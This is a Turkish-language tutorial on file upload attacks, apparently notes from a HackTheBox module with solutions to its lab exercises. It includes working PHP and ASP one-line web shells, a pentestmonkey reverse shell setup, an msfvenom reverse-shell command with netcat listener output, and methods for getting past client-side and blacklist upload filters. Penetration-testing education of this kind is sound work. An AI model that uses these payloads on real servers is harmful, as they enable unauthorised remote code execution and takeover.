FILE UPLOAD ATTACKS

1 month ago 44
BOOK THIS SPACE FOR AD
ARTICLE AD

Miraç Küçük

FILE UPLOAD ATTACKS

Intro to File Upload Attacks

Kullanıcı dosyalarının yüklenmesi, web uygulamalarının kullanıcı bilgileriyle genişletilebilirliğini sağlamak için çoğu modern web uygulaması için önemli bir özellik haline gelmiştir. Bir sosyal medya web sitesi kullanıcı profil resimlerinin ve diğer sosyal medyanın yüklenmesine izin verirken, kurumsal bir web sitesi kullanıcıların kurumsal kullanım için PDF ve diğer belgeleri yüklemesine izin verebilir.

Ancak, web uygulaması geliştiricileri bu özelliği etkinleştirirken, son kullanıcıların potansiyel olarak kötü niyetli verilerini web uygulamasının back-end sunucusunda depolamasına izin verme riskini de alırlar. Kullanıcı girdisi ve yüklenen dosyalar doğru bir şekilde filtrelenmez ve doğrulanmazsa, saldırganlar dosya yükleme özelliğinden yararlanarak back-end sunucu üzerinde keyfi komutlar çalıştırmak ve sunucunun kontrolünü ele geçirmek gibi kötü niyetli faaliyetler gerçekleştirebilir.

Dosya yükleme güvenlik açıkları, en son CVE Raporlarında da görebileceğimiz gibi, web ve mobil uygulamalarda bulunan en yaygın güvenlik açıkları arasındadır. Ayrıca, bu güvenlik açıklarının çoğunun, güvensiz dosya yüklemenin neden olduğu risk düzeyini gösteren Yüksek veya Kritik güvenlik açıkları olarak puanlandığını da fark edeceğiz.

File Upload Saldırı Türleri

Dosya yükleme güvenlik açıklarının arkasındaki en yaygın neden, istenmeyen dosya türlerini önlemek için iyi bir şekilde güvence altına alınmamış veya tamamen eksik olabilen zayıf dosya doğrulama ve onaylamadır. Mümkün olan en kötü dosya yükleme güvenlik açığı türü, kimliği doğrulanmamış rastgele dosya yükleme güvenlik açığıdır. Bu tür bir güvenlik açığı ile bir web uygulaması, kimliği doğrulanmamış herhangi bir kullanıcının herhangi bir dosya türünü yüklemesine izin vererek, herhangi bir kullanıcının back-end sunucusunda kod çalıştırmasına izin vermekten bir adım öteye gider.

Birçok web geliştiricisi, yüklenen dosyanın uzantısını veya içeriğini doğrulamak için çeşitli test türleri kullanır. Ancak, bu modülde göreceğimiz gibi, eğer bu filtreler güvenli değilse, onları atlatabilir ve saldırılarımızı gerçekleştirmek için keyfi dosya yüklemelerine ulaşabiliriz.

Rastgele dosya yüklemelerinin neden olduğu en yaygın ve kritik saldırı, bir web shell yükleyerek veya reverse shell gönderen bir script yükleyerek back-end sunucu üzerinden uzaktan komut çalıştırma elde etmektir. Bir sonraki bölümde tartışacağımız gibi bir Web shell, belirlediğimiz herhangi bir komutu çalıştırmamıza izin verir ve sistemi kolayca numaralandırmak ve ağı daha fazla istismar etmek için etkileşimli bir shell’e dönüştürülebilir. Makinemizdeki bir dinleyiciye bir reverse shell gönderen bir script yüklemek ve bu şekilde remote server ile etkileşime geçmek de mümkün olabilir.

Bazı durumlarda, rastgele dosya yükleme olanağımız olmayabilir ve yalnızca belirli bir dosya türünü yükleyebiliriz. Bu durumlarda bile, web uygulamasında belirli güvenlik korumaları eksikse, dosya yükleme işlevinden yararlanmak için gerçekleştirebileceğimiz çeşitli saldırılar vardır.

Bu saldırılara örnek olarak şunlar verilebilir:

XSS veya XXE gibi diğer güvenlik açıklarını ortaya çıkarmak.Back-end sunucuda Hizmet Reddi’ne (DoS) neden olmak.Kritik sistem dosyalarının ve konfigürasyonlarının üzerine yazmak.Ve diğerleri.

Son olarak, bir dosya yükleme güvenlik açığı sadece güvensiz fonksiyonların yazılmasından değil, aynı zamanda bu saldırılara karşı savunmasız olabilecek eski kütüphanelerin kullanılmasından da kaynaklanır. Modülün sonunda, web uygulamalarımızı en yaygın dosya yükleme saldırılarına karşı güvence altına almak için çeşitli ipuçları ve uygulamaların yanı sıra gözden kaçırabileceğimiz dosya yükleme güvenlik açıklarını önlemek için başka öneriler de sunacağız.

Eksik Doğrulama

Dosya yükleme güvenlik açığının en temel türü, web uygulamasının yüklenen dosyalar üzerinde herhangi bir doğrulama filtresine sahip olmadığı ve varsayılan olarak herhangi bir dosya türünün yüklenmesine izin verdiği durumlarda ortaya çıkar.

Bu tür güvenlik açığı olan web uygulamalarında, web shell’imizi ya da reverse shell script’imizi doğrudan web uygulamasına yükleyebilir ve ardından sadece yüklenen script’i ziyaret ederek web shell’imizle etkileşime geçebilir ya da reverse shell’i gönderebiliriz.

Keyfi Dosya Yükleme

Bu bölümündeki alıştırmaya başlayalım ve web uygulamasına kişisel dosyalar yüklememize izin veren bir Employee File Manager web uygulaması göreceğiz:

Web uygulaması hangi dosya türlerine izin verildiğinden bahsetmiyor ve istediğimiz herhangi bir dosyayı sürükleyip bırakabiliyoruz ve .php dosyaları da dahil olmak üzere yükleme formunda adı görünecektir:

Ayrıca, bir dosya seçmek için forma tıklarsak, dosya türü için All Files (Tüm Dosyalar) yazdığı için dosya seçici iletişim kutusu herhangi bir dosya türü belirtmez; bu da web uygulaması için herhangi bir kısıtlama veya sınırlama belirtilmediğini gösterebilir:

Tüm bunlar bize programın front-end’de herhangi bir dosya türü kısıtlaması olmadığını ve back-end’de herhangi bir kısıtlama belirtilmediyse, back-end sunucusuna rastgele dosya türleri yükleyerek üzerinde tam kontrol sağlayabileceğimizi söylüyor.

Web Framework’ün Tanımlanması

Back-end sunucusuna herhangi bir dosya türünü yükleyip yükleyemeyeceğimizi test etmek için kötü amaçlı bir betik yüklememiz ve bunu back-end sunucusunu istismar etmek için kullanıp kullanamayacağımızı test etmemiz gerekir. Birçok türde betik, rastgele dosya yükleme yoluyla web uygulamalarını istismar etmemize yardımcı olabilir, en yaygın olarak bir Web Shell betiği ve bir Reverse Shell betiği.

Bir Web Shell, shell komutlarını kabul ederek ve çıktılarını web tarayıcısı içinde bize geri yazdırarak back-end sunucusuyla etkileşim kurmamız için bize kolay bir yöntem sağlar. Bir web shell, back-end sunucusunda sistem komutlarını çalıştırmak için platforma özel fonksiyonlar ve komutlar çalıştırdığından, web sunucusunu çalıştıran aynı programlama dilinde yazılmalıdır, bu da web shell’leri platformlar arası olmayan komut dosyaları haline getirir. Bu nedenle, ilk adım web uygulamasını hangi dilin çalıştırdığını belirlemek olacaktır.

Bu genellikle nispeten basittir, çünkü URL’lerde web sayfası uzantısını sıklıkla görebiliriz, bu da web uygulamasını çalıştıran programlama dilini ortaya çıkarabilir. Ancak, bazı web framework’lerinde ve web dillerinde, URL’leri web sayfalarına eşlemek için Web Routes kullanılır, bu durumda web sayfası uzantısı gösterilmeyebilir. Ayrıca, yüklenen dosyalarımız doğrudan yönlendirilebilir veya erişilebilir olmayabileceğinden, dosya yükleme kullanımı da farklı olacaktır.

Web uygulamasının hangi dilde çalıştığını belirlemenin kolay bir yöntemi /index.ext sayfasını ziyaret etmektir; burada ext yerine php, asp, aspx gibi çeşitli yaygın web uzantılarını kullanarak bunlardan herhangi birinin var olup olmadığını görebiliriz.

Örneğin, aşağıdaki alıştırmamızı ziyaret ettiğimizde, dizin sayfası genellikle varsayılan olarak gizli olduğundan URL’sini http://SERVER_IP:PORT/ olarak görürüz. Ancak, http://SERVER_IP:PORT/index.php adresini ziyaret etmeyi denersek, aynı sayfayı alırız, bu da bunun gerçekten bir PHP web uygulaması olduğu anlamına gelir. Elbette bunu manuel olarak yapmamıza gerek yoktur, çünkü ilerleyen bölümlerde göreceğimiz gibi, Web Uzantıları kelime listesini kullanarak dosya uzantısını fuzzing için Burp Intruder gibi bir araç kullanabiliriz. Ancak bu yöntem her zaman doğru olmayabilir, çünkü web uygulaması dizin sayfalarını kullanmayabilir veya birden fazla web uzantısı kullanabilir.

Tüm büyük tarayıcılar için mevcut olan Wappalyzer uzantısını kullanmak gibi birkaç başka teknik, web uygulamasını çalıştıran teknolojileri tanımlamaya yardımcı olabilir. Tarayıcımıza eklendikten sonra, web uygulamasını çalıştıran tüm teknolojileri görüntülemek için simgesine tıklayabiliriz:

Gördüğümüz gibi, uzantı bize yalnızca web uygulamasının PHP üzerinde çalıştığını söylemekle kalmadı, aynı zamanda web sunucusunun türünü ve sürümünü, backend işletim sistemini ve kullanılan diğer teknolojileri de belirledi. Bu uzantılar bir web sızma test uzmanının cephaneliğinde çok önemlidir, ancak web framework’ünü tanımlamak için daha önce tartıştığımız yöntem gibi alternatif manuel yöntemleri bilmek her zaman daha iyidir.

Web framework’ünü belirlemek için Burp/ZAP tarayıcıları veya diğer Web Güvenlik Açığı Değerlendirme araçları gibi web tarayıcıları da çalıştırabiliriz. Sonunda, web uygulamasını çalıştıran dili belirledikten sonra, web uygulamasını istismar etmek ve back-end sunucusu üzerinde uzaktan kontrol elde etmek için aynı dilde yazılmış kötü amaçlı bir komut dosyası yükleyebiliriz.

Güvenlik Açığı Tanımlama

Artık web uygulamasını çalıştıran web framework’ünü ve programlama dilini belirlediğimize göre, aynı uzantıya sahip bir dosya yükleyip yükleyemeyeceğimizi test edebiliriz. Rastgele PHP dosyaları yükleyip yükleyemeyeceğimizi belirlemek için ilk test olarak, yüklediğimiz dosyayla PHP kodunu çalıştırıp çalıştıramayacağımızı test etmek için basit bir Merhaba Dünya betiği oluşturalım.

Bunu yapmak için, test.php dosyasına <?php echo “Hello World”;?> yazacağız ve web uygulamasına yüklemeyi deneyeceğiz:

Dosya başarıyla yüklendi şeklinde bir mesaj aldığımız için dosya başarıyla yüklenmiş gibi görünüyor, bu da web uygulamasının back-end’de herhangi bir dosya doğrulaması yapmadığı anlamına geliyor. Şimdi Download (İndir) düğmesine tıklayabiliriz ve web uygulaması bizi yüklediğimiz dosyaya götürecektir:

Gördüğümüz gibi, sayfa Merhaba HTB mesajımızı yazdırıyor, bu da echo fonksiyonunun dizgimizi yazdırmak için çalıştırıldığı ve backend sunucusunda PHP kodunu başarıyla çalıştırdığımız anlamına geliyor. Eğer sayfa PHP kodunu çalıştıramasaydı, kaynak kodumuzun sayfaya yazdırıldığını görecektik.

Bir sonraki bölümde, back-end sunucu üzerinde kod çalıştırmak ve kontrolü ele geçirmek için bu güvenlik açığından nasıl yararlanacağımızı göreceğiz.

Soru : Back-end sunucusunda (hostname) komutunu çalıştıran bir PHP betiği yüklemeye çalışın ve bunun ilk kelimesini cevap olarak gönderin.

Cevap :

Makine Çözümü -1

1- İlk olarak nano aracından bir php betiği yazalım .

2-Hedef sisteme bu betiği yükleyelim.

3-Yüklediğimiz betiğin adresine gidelim ve bayrağımızı alalım .

Upload Exploitation

Bu web uygulamasını istismar etmenin son adımı, web shell veya reverse shell script gibi web uygulamasıyla aynı dilde kötü amaçlı bir script yüklemektir. Kötü amaçlı scriptimizi yükledikten ve bağlantısını ziyaret ettikten sonra, back-end sunucunun kontrolünü ele geçirmek için onunla etkileşime geçebilmeliyiz.

Web Shells

Dizin geçişi veya dosya aktarımı gibi kullanışlı özellikler sağlayan birçok mükemmel web shell’i bulabiliriz. PHP için iyi bir seçenek, terminal benzeri, yarı etkileşimli bir web kabuğu sağlayan phpbash’tır. Ayrıca SecLists, PwnBox’ta /opt/useful/SecLists/Web-Shells dizininde bulunabilecek farklı frameworkler ve diller için çok sayıda web shell sağlar.

Web uygulamamızın dili için (bizim durumumuzda PHP) bu web shell’lerden herhangi birini indirebilir, ardından savunmasız yükleme özelliği aracılığıyla yükleyebilir ve web shell ile etkileşimde bulunmak için yüklenen dosyayı ziyaret edebiliriz. Örneğin, phpbash’ten phpbash.php dosyasını web uygulamamıza yüklemeyi deneyelim ve ardından Download düğmesine tıklayarak bağlantısına gidelim:

Gördüğümüz gibi, bu web shell terminal benzeri bir deneyim sunar, bu da daha fazla istismar için back-end sunucusunu numaralandırmayı çok kolaylaştırır.

Özel Web Shell Yazma

Çevrimiçi kaynaklardan web shell’leri kullanmak harika bir deneyim sağlayabilse de, basit bir web shell’i manuel olarak nasıl yazacağımızı da bilmeliyiz. Bunun nedeni, bazı sızma testleri sırasında çevrimiçi araçlara erişimimiz olmayabilir, bu nedenle gerektiğinde bir tane oluşturabilmemiz gerekir.

Örneğin PHP web uygulamalarında, sistem komutlarını çalıştıran ve çıktılarını yazdıran system() fonksiyonunu kullanabilir ve cmd parametresini $_REQUEST[‘cmd’] ile aşağıdaki gibi iletebiliriz:

<?php system($_REQUEST['cmd']); ?>

Yukarıdaki betiği shell.php’ye yazıp web uygulamamıza yüklersek, sistem komutlarını aşağıdaki gibi ?cmd= GET parametresiyle (örneğin ?cmd=id) çalıştırabiliriz:

Bu, çevrimiçi bulabileceğimiz diğer web shell’leri kadar kullanımı kolay olmayabilir, ancak yine de komutları göndermek ve çıktılarını almak için etkileşimli bir yöntem sağlar. Bazı web sızma testleri sırasında mevcut tek seçenek olabilir.

İpucu: Bu özel web shell’i bir tarayıcıda kullanıyorsak, [CTRL+U]’ya tıklayarak source-view’i kullanmak en iyisi olabilir, çünkü source-view komut çıktısını terminalde gösterileceği gibi gösterir, çıktının nasıl biçimlendirildiğini etkileyebilecek herhangi bir HTML oluşturma olmadan.

Web shell’leri PHP’ye özel değildir ve aynı şey diğer web framework’leri için de geçerlidir, tek fark sistem komutlarını çalıştırmak için kullanılan fonksiyonlardır. .NET web uygulamaları için, cmd parametresini eval() fonksiyonuna request(‘cmd’) ile aktarabiliriz ve bu fonksiyon da ?cmd= ile belirtilen komutu çalıştırmalı ve çıktısını aşağıdaki gibi yazdırmalıdır:

<% eval request('cmd') %>

İnternette, birçoğu web sızma testi amacıyla kolayca ezberlenebilen çeşitli başka web shell’leri bulabiliriz. Bazı durumlarda web shell’lerinin çalışmayabileceği unutulmamalıdır. Bunun nedeni, web sunucusunun web shell tarafından kullanılan bazı işlevlerin (örn. system()) kullanımını engellemesi veya diğer nedenlerin yanı sıra bir Web Uygulaması Güvenlik Duvarı olabilir. Bu durumlarda, bu güvenlik önlemlerini aşmak için gelişmiş teknikler kullanmamız gerekebilir.

Reverse Shell

Son olarak, savunmasız yükleme işlevi aracılığıyla reverse shell’leri nasıl alabileceğimizi görelim. Bunu yapmak için, web uygulamasının dilinde bir reverse shell betiği indirerek başlamalıyız. PHP için güvenilir bir reverse shell pentestmonkey PHP reverse shell’dir. Ayrıca, daha önce bahsettiğimiz SecLists de çeşitli diller ve web frameworkleri için reverse shell scriptleri içermektedir ve reverse shell almak için bunlardan herhangi birini kullanabiliriz.

Yukarıdaki reverse shell betiklerinden birini indirelim, örneğin pentestmonkey, ve daha sonra betiğin bağlanacağı IP ve dinleme PORT’umuzu girmek için bir metin düzenleyicide açalım. Pentestmonkey betiği için 49. ve 50. satırları değiştirebilir ve makinemizin IP/PORT’unu girebiliriz:

$ip = 'OUR_IP'; // CHANGE THIS
$port = OUR_PORT; // CHANGE THIS

Daha sonra, makinemizde bir netcat dinleyicisi başlatabilir (yukarıdaki bağlantı noktasıyla), betiğimizi web uygulamasına yükleyebilir ve ardından betiği çalıştırmak ve reverse shell bağlantısı almak için bağlantısını ziyaret edebiliriz:

M1R4CKCK@htb[/htb]$ nc -lvnp OUR_PORT
listening on [any] OUR_PORT ...
connect to [OUR_IP] from (UNKNOWN) [188.166.173.208] 35232
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Gördüğümüz gibi, savunmasız web uygulamasını barındıran back-end sunucusundan başarılı bir şekilde geri bağlantı aldık, bu da daha fazla istismar için onunla etkileşime girmemize izin veriyor. Aynı konsept diğer web frameworkleri ve dilleri için de kullanılabilir, tek fark kullandığımız reverse shell script’tir.

Özel Reverse Shell Komut Dosyaları Oluşturma

Tıpkı web shell’lerde olduğu gibi, kendi reverse shell script’lerimizi de oluşturabiliriz. Aynı önceki sistem fonksiyonunu kullanmak ve ona bir reverse shell komutu iletmek mümkün olsa da, bu her zaman çok güvenilir olmayabilir, çünkü komut birçok nedenden dolayı başarısız olabilir, tıpkı diğer reverse shell komutları gibi.

Bu yüzden makinemize bağlanmak için çekirdek web framework fonksiyonlarını kullanmak her zaman daha iyidir. Ancak, bunu ezberlemek bir web shell komut dosyası kadar kolay olmayabilir. Neyse ki msfvenom gibi araçlar birçok dilde reverse shell betiği oluşturabilir ve hatta bazı kısıtlamaları aşmaya çalışabilir. PHP için bunu aşağıdaki gibi yapabiliriz:

M1R4CKCK@htb[/htb]$ msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
...SNIP...
Payload size: 3033 bytes

reverse.php betiğimiz oluşturulduktan sonra, yukarıda belirttiğimiz portta bir kez daha bir netcat dinleyicisi başlatabilir, reverse.php betiğini yükleyebilir ve bağlantısını ziyaret edebiliriz ve bir reverse shell de almalıyız:

M1R4CKCK@htb[/htb]$ nc -lvnp OUR_PORT
listening on [any] OUR_PORT ...
connect to [OUR_IP] from (UNKNOWN) [181.151.182.286] 56232
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Benzer şekilde, birkaç dil için reverse shell betikleri oluşturabiliriz. Birçok reverse shell yükünü -p bayrağı ile kullanabilir ve çıktı dilini -f bayrağı ile belirleyebiliriz.

Reverse shell’ler, ele geçirilen sunucuyu kontrol etmek için en etkileşimli yöntemi sağladıkları için her zaman web shell’lere tercih edilse de, her zaman çalışmayabilir ve bunun yerine web shell’lere güvenmek zorunda kalabiliriz. Bunun çeşitli nedenleri olabilir, örneğin back-end ağında giden bağlantıları engelleyen bir güvenlik duvarı olması veya web sunucusunun bize geri bağlantı başlatmak için gerekli işlevleri devre dışı bırakması gibi.

Makine Çözümü -2

Soru : Bir web shell yüklemek ve /flag.txt içeriğini almak için yükleme özelliğinden yararlanmayı deneyin

1- İlk olarak nano editöründen bir web shell oluşturalım

2- Oluşturduğumuz web shell’i hedef sisteme yükleyelim .

3- Yükledikten sonra ?cmd= ile komut çalıştırmayı deneyelim . ( Deneme olarak id komutu çalıştırılmıştır.)

4- Komutumuz çalışıyor şimdi ise flag.txt dosyamızı aramak için find komutunu kullanabiliriz. (Bazı durumlarda komutumuzu url encode ile dönüştürmemiz gerekebilir şuanki hedefte dönüştürmeye gerek yok . )

5- Flag.txt dosyası bulunduğumuz dizinde olduğunu keşfettik kalan tek şey okumak .

Client Tarafı Doğrulama

Birçok web uygulaması, yüklemeden önce seçilen dosya biçimini doğrulamak için yalnızca front-end JavaScript koduna güvenir ve dosya gerekli biçimde değilse (örneğin, bir resim değilse) yükleme yapmaz.

Ancak, dosya formatı doğrulaması istemci tarafında gerçekleştiğinden, doğrudan sunucuyla etkileşime girerek ve front-end doğrulamalarını tamamen atlayarak bunu kolayca atlayabiliriz. Ayrıca, tarayıcımızın geliştirme araçları aracılığıyla front-end kodunu değiştirerek herhangi bir doğrulamayı devre dışı bırakabiliriz.

Client Tarafı Doğrulama

Bu bölümdeki alıştırma, sosyal medya web uygulamaları gibi kullanıcı profili özelliklerini kullanan web uygulamalarında sıklıkla görülen temel bir Profil Görüntüsü işlevini göstermektedir:

Ancak, bu kez, dosya seçim iletişim kutusunu aldığımızda, iletişim kutusu yalnızca görüntü biçimleriyle sınırlı göründüğü için PHP betiklerimizi göremiyoruz (veya gri renkte olabilir):

Yine de PHP betiğimizi seçmek için Tüm Dosyalar seçeneğini seçebiliriz, ancak bunu yaptığımızda (Yalnızca resimlere izin verilir!) şeklinde bir hata mesajı alırız ve Yükle düğmesi devre dışı kalır:

Bu, bir tür dosya türü doğrulaması olduğunu gösterir, bu nedenle önceki bölümde yaptığımız gibi yükleme formu aracılığıyla bir web shell’i yükleyemeyiz. Neyse ki, dosyamızı seçtikten sonra sayfa yenilenmediği veya herhangi bir HTTP isteği göndermediği için tüm doğrulama front end’de gerçekleşiyor gibi görünüyor. Dolayısıyla, bu client tarafı doğrulamaları üzerinde tam kontrole sahip olabilmeliyiz.

İstemci tarafında çalışan tüm kodlar bizim kontrolümüz altındadır. Web sunucusu front-end kodunu göndermekten sorumluyken, front-end kodunun işlenmesi ve yürütülmesi tarayıcımızda gerçekleşir. Web uygulaması back-end’de bu doğrulamalardan herhangi birini uygulamazsa, herhangi bir dosya türünü yükleyebilmemiz gerekir.

Daha önce de belirtildiği gibi, bu korumaları atlamak için ya back-end sunucusuna yapılan yükleme isteğini değiştirebiliriz ya da bu tür doğrulamalarını devre dışı bırakmak için front-end kodunu manipüle edebiliriz.

Back-end Talep Değişikliği

Burp üzerinden normal bir isteği inceleyerek başlayalım. Bir resim seçtiğimizde, bunun profil resmimiz olarak yansıtıldığını ve Yükle’ye tıkladığımızda profil resmimizin güncellendiğini ve yenilemeler boyunca kalıcı olduğunu görüyoruz. Bu, resmimizin sunucuya yüklendiğini ve şimdi bize geri gösterildiğini gösterir:

Burp ile yükleme isteğini yakalarsak, web uygulaması tarafından aşağıdaki isteğin gönderildiğini görürüz:

Web uygulaması /upload.php adresine standart bir HTTP yükleme isteği gönderiyor gibi görünüyor. Bu şekilde, artık front-end tip doğrulama kısıtlamaları olmadan bu isteği ihtiyaçlarımızı karşılayacak şekilde değiştirebiliriz. Back-end sunucusu yüklenen dosya türünü doğrulamazsa, teorik olarak herhangi bir dosya türü/içeriği gönderebilmemiz gerekir ve bu dosya sunucuya yüklenir.

İstekteki iki önemli kısım filename=”HTB.png” ve isteğin sonundaki dosya içeriğidir. Eğer dosya adını shell.php olarak değiştirirsek ve içeriği de önceki bölümde kullandığımız web shell olarak değiştirirsek; bir resim yerine bir PHP web shell yüklemiş oluruz.

Öyleyse, başka bir resim yükleme isteği yakalayalım ve ardından bunu uygun şekilde değiştirelim:

Not: Yüklenen dosyanın Content-Type’ını da değiştirebiliriz, ancak bu aşamada bu önemli bir rol oynamayacaktır, bu yüzden değiştirmeyeceğiz.

Gördüğümüz gibi, yükleme isteğimiz gerçekleşti ve yanıt olarak File başarıyla yüklendi. Artık yüklediğimiz dosyayı ziyaret edebilir, onunla etkileşime geçebilir ve uzaktan kod çalıştırma elde edebiliriz.

Front-end Doğrulamayı Devre Dışı Bırakma

Client taraflı doğrulamaları atlamanın bir başka yöntemi de front-end kodunu manipüle etmektir. Bu işlevler tamamen web tarayıcımız içinde işlendiğinden, bunlar üzerinde tam kontrole sahibiz. Dolayısıyla, bu komut dosyalarını değiştirebilir veya tamamen devre dışı bırakabiliriz. Ardından, isteklerimizi yakalamak ve değiştirmek için Burp kullanmamıza gerek kalmadan herhangi bir dosya türünü yüklemek için yükleme işlevini kullanabiliriz.

Başlamak için, tarayıcının Page Inspector’ını açmak için [CTRL+SHIFT+C] tuşlarına tıklayabilir ve ardından yükleme formu için dosya seçiciyi tetiklediğimiz profil resmine tıklayabiliriz:

Bu, 18. satırdaki aşağıdaki HTML dosyası girdisini vurgulayacaktır:

<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">

Burada, dosya girişinin dosya seçim iletişim kutusunda izin verilen dosya türleri olarak (.jpg,.jpeg,.png) belirttiğini görüyoruz. Ancak, bunu kolayca değiştirebilir ve daha önce yaptığımız gibi All Files’ı seçebiliriz, bu nedenle sayfanın bu bölümünü değiştirmek gereksizdir.

Daha ilginç olan kısım ise onchange=”checkFile(this)”, bir dosya seçtiğimizde dosya türü doğrulaması yapıyor gibi görünen bir JavaScript kodu çalıştırıyor. Bu fonksiyonun ayrıntılarını almak için [CTRL+SHIFT+K] tuşlarına tıklayarak tarayıcının Konsoluna gidebilir ve ardından ayrıntılarını almak için fonksiyonun adını (checkFile) yazabiliriz:

function checkFile(File) {
...SNIP...
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
...SNIP...
}
}

Bu fonksiyondan alacağımız en önemli şey, dosya uzantısının bir resim olup olmadığını kontrol ettiği ve değilse, daha önce gördüğümüz hata mesajını (Yalnızca resimlere izin verilir!) yazdırdığı ve Yükle düğmesini devre dışı bıraktığı yerdir. PHP’yi izin verilen uzantılardan biri olarak ekleyebilir veya uzantı kontrolünü kaldırmak için işlevi değiştirebiliriz.

Neyse ki, JavaScript kodu yazmamıza ve değiştirmemize gerek yok. Birincil kullanımı dosya türü doğrulaması gibi göründüğünden bu işlevi HTML kodundan kaldırabiliriz ve kaldırmak hiçbir şeyi bozmayacaktır.

Bunu yapmak için denetçimize geri dönebilir, profil resmine tekrar tıklayabilir, 18. satırdaki fonksiyon adına (checkFile) çift tıklayabilir ve silebiliriz:

İpucu: Aynı işlemi accept=”.jpg,.jpeg,.png” ifadesini kaldırmak için de yapabilirsiniz, böylece dosya seçim iletişim kutusunda PHP kabuğunun seçilmesi kolaylaşacaktır, ancak daha önce de belirtildiği gibi bu zorunlu değildir.

Dosya girdisinden checkFile işlevi kaldırıldığında, PHP web shell’imizi dosya seçim iletişim kutusundan seçebilmeli ve önceki bölümde yaptığımıza benzer şekilde hiçbir doğrulama olmadan normal şekilde yükleyebilmeliyiz.

Not: Kaynak kodda yaptığımız değişiklik geçicidir ve yalnızca istemci tarafında değiştirdiğimiz için sayfa yenilemelerinde kalıcı olmayacaktır. Ancak, tek ihtiyacımız istemci tarafı doğrulamayı atlamak olduğundan, bu amaç için yeterli olacaktır.

Yukarıdaki yöntemlerden birini kullanarak web shell’imizi yükledikten sonra sayfayı yenilediğimizde, [CTRL+SHIFT+C] ile Sayfa Denetçisini bir kez daha kullanabilir, profil resmine tıklayabilir ve yüklediğimiz web shell’in URL’sini görebiliriz:

<img src="/profile_images/shell.php" class="profile-image" id="profile-image">

Yukarıdaki bağlantıya tıklayabilirsek, back-end sunucusunda komutları çalıştırmak için etkileşimde bulunabileceğimiz yüklenmiş web shell’imize ulaşacağız:

Not: Gösterilen adımlar Firefox için geçerlidir, çünkü diğer tarayıcılar kaynağa yerel değişiklikler uygulamak için Chrome’daki geçersiz kılma kullanımı gibi biraz farklı yöntemlere sahip olabilir.

Makine Çözümü -3

Soru : Yukarıdaki alıştırmada client-side dosya türü doğrulamalarını atlamayı deneyin, ardından /flag.txt dosyasını okumak için bir web shell yükleyin .

1- asd.png adlı dosyamızı oluşturduk ve içine web shellimizi yerleştirdik.

2- Hedef sisteme yükleyelim ve brup suitden isteğimizi yakalayalım .

3- İsteğimizi yakaldıktan sonra asd5.png dosyasının uzantısını değiştirip asd5.php yapalım.

4- İsteğimizin hangi uzantıda olduğunu profil fotoğrafın kaynak koduna bakarak tespit edebiliriz.

5- ?cmd= ifadesi ile kodumuzu shell’imizin çalışıp çalışmadığını kontrol edelim.

6- find komutu ile bayrağımızın yerini tespit edelim . (find / -name flag.txt)

7- Son olarak cat komutu ile bayrağımızı okuyalım .

Blacklist Filters

Önceki bölümde, tür doğrulama kontrollerini yalnızca front-end’de (yani istemci tarafında) uygulayan bir web uygulaması örneği gördük, bu da bu kontrolleri atlamayı önemsiz hale getirdi. Bu nedenle, güvenlikle ilgili tüm kontrollerin saldırganların doğrudan manipüle edemeyeceği backend sunucusunda uygulanması her zaman tavsiye edilir.

Yine de, arka uç sunucudaki tür doğrulama kontrolleri güvenli bir şekilde kodlanmamışsa, bir saldırgan bunları atlamak ve PHP dosya yüklemelerine ulaşmak için birden fazla teknik kullanabilir.

Bu bölümde bulduğumuz alıştırma, bir önceki bölümde gördüğümüze benzer, ancak web betiklerinin yüklenmesini önlemek için izin verilmeyen uzantıların bir balck listesine sahiptir. Yaygın uzantılardan oluşan bir blacklist kullanmanın keyfi dosya yüklemelerini engellemek için neden yeterli olmayabileceğini göreceğiz ve bunu aşmak için çeşitli yöntemleri tartışacağız.

Blacklisting Extensions

Bir PHP betiğini back-end sunucusuna yüklemek için önceki bölümde öğrendiğimiz client-side bypass’larından birini deneyerek başlayalım. Burp ile bir resim yükleme isteğini keseceğiz, dosya içeriğini ve dosya adını PHP betiğimizinkilerle değiştireceğiz ve isteği ileteceğiz:

Gördüğümüz gibi, Extension not allowed aldığımız için saldırımız bu sefer başarılı olamadı. Bu, web uygulamasının front end doğrulamalarına ek olarak back end’de bir çeşit dosya türü doğrulamasına sahip olabileceğini gösterir.

Back-end’de bir dosya uzantısını doğrulamanın genellikle iki yaygın biçimi vardır:

Türlerin blacklist’e karşı test edilmesiTürlerin whitelist’e karşı test etme

Ayrıca doğrulama, tür eşleşmesi için dosya türünü veya dosya içeriğini de kontrol edebilir. Bunlar arasında en zayıf doğrulama biçimi, yükleme isteğinin engellenip engellenmeyeceğini belirlemek için dosya uzantısını bir blacklist uzantısına karşı test etmektir. Örneğin, aşağıdaki kod parçası yüklenen dosya uzantısının PHP olup olmadığını kontrol eder ve PHP ise isteği düşürür:

$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}

Kod, yüklenen dosya adından ($fileName) dosya uzantısını ($extension) alıyor ve ardından bunu blacklisted uzantılar listesiyle ($blacklist) karşılaştırıyor. Ancak, bu doğrulama yönteminin büyük bir kusuru vardır. Diğer birçok uzantı bu listeye dahil edilmediğinden, kapsamlı değildir ve yüklendikleri takdirde backend sunucuda PHP kodunu çalıştırmak için kullanılabilirler.

İpucu: Yukarıdaki karşılaştırma da büyük/küçük harfe duyarlıdır ve yalnızca küçük harfli uzantıları dikkate alır. Windows Sunucularında dosya adları büyük/küçük harfe duyarlı değildir, bu nedenle karışık harfli (örn. pHp) bir php yüklemeyi deneyebiliriz, bu da blacklist’i atlayabilir ve yine de bir PHP betiği olarak çalışabilir.

Öyleyse, blacklist’i atlamak ve bir PHP dosyası yüklemek için bu zayıflıktan yararlanmayı deneyelim.

Fuzzing Extensions

Web uygulaması dosya uzantısını test ediyor gibi göründüğünden, ilk adımımız yükleme işlevini potansiyel uzantıların bir listesiyle fuzzlamak ve hangilerinin önceki hata mesajını döndürdüğünü görmektir. Bir hata mesajı döndürmeyen, farklı bir mesaj döndüren veya dosyayı yüklemeyi başaran herhangi bir yükleme isteği, izin verilen bir dosya uzantısını gösterebilir.

